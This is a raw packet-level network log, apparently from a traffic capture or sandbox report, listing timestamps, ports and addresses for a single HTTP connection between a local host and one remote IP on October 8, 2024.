Oct 8, 2024 02:45:29.012090921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012090921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012403965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012413025 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012422085 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012433052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012447119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012459993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012497902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012497902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012690067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012700081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012708902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012717962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012727022 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012737036 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012742043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012744904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012762070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012768984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012779951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012789011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012790918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012790918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012799978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012810946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.012813091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012836933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.012868881 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.013670921 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013680935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013689041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013698101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013706923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013715982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013725996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013725996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.013735056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013744116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.013746023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.013766050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.013797998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.013797998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014208078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014216900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014261007 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014431000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014440060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014448881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014458895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014467001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014476061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014484882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014491081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014492989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014492989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014501095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014511108 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014514923 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014519930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014529943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014540911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014542103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.014540911 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014561892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.014585018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122068882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122092962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122101068 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122173071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122208118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122277021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122287035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122297049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122440100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122440100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122467995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122541904 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122559071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122570992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122612953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122612953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122704029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122751951 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122755051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122798920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.122944117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.122991085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123013020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123023987 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123070002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123070002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123169899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123181105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123195887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123204947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123225927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123225927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123261929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123667002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123677015 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123687029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123696089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123703957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123712063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123719931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123729944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123729944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123744965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.123760939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123760939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.123795033 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124141932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124151945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124161959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124170065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124207020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124238968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124490976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124500990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124510050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124520063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124547958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124579906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124749899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124763966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124772072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124799013 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124811888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124823093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124825954 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124833107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124842882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124851942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124860048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124861956 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.124881029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.124902010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.125492096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125502110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125545979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.125633001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125642061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125650883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125660896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125669003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125679016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125679970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.125713110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.125742912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.125909090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125960112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.125968933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125979900 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125988960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.125998974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126013994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126049995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126049995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126386881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126398087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126408100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126416922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126426935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126436949 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126472950 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126501083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126827002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126837969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126847029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126856089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126864910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126873016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126879930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126879930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126882076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126892090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126902103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.126907110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126926899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.126952887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.127499104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127510071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127518892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127526999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127536058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127545118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127553940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127561092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.127563000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127573013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127583027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.127583981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.127604008 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.127638102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.127638102 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128189087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128200054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128207922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128216982 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128227949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128235102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128248930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128285885 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128287077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128576994 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128587961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128596067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128604889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128613949 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128623009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128624916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128627062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128637075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128647089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128648043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128658056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.128670931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128704071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.128704071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.129420042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129430056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129442930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129452944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129461050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129470110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129477024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.129481077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129489899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.129498959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.129519939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.129551888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.232481003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232536077 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232546091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232604027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.232604980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.232759953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232769966 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232779026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232788086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232815027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.232850075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.232923031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.232969046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233015060 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233023882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233033895 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233042955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233057976 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233093023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233093977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233263969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233273029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233280897 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233319998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233351946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233505964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233514071 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233522892 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233531952 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233541012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233550072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.233565092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.233597994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234437943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234447002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234455109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234463930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234472990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234482050 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234491110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234491110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234499931 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234509945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234510899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234519005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234529018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234532118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234538078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234548092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234554052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234558105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234566927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234581947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234581947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234606981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234711885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234721899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234730005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234740019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234747887 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234755039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234756947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234766960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234776020 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234781027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234787941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234798908 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234808922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234808922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234818935 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.234831095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234849930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.234883070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.235531092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235541105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235548973 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235558033 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235567093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235575914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235584021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235586882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.235593081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235603094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235608101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.235611916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235621929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.235637903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.235637903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.235671997 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.236289024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236299992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236308098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236316919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236325979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236330032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236335039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236342907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236351967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236351967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:29.236361027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:29.236371040 CEST	80	51293	95.164.90.97	192.168.2.4
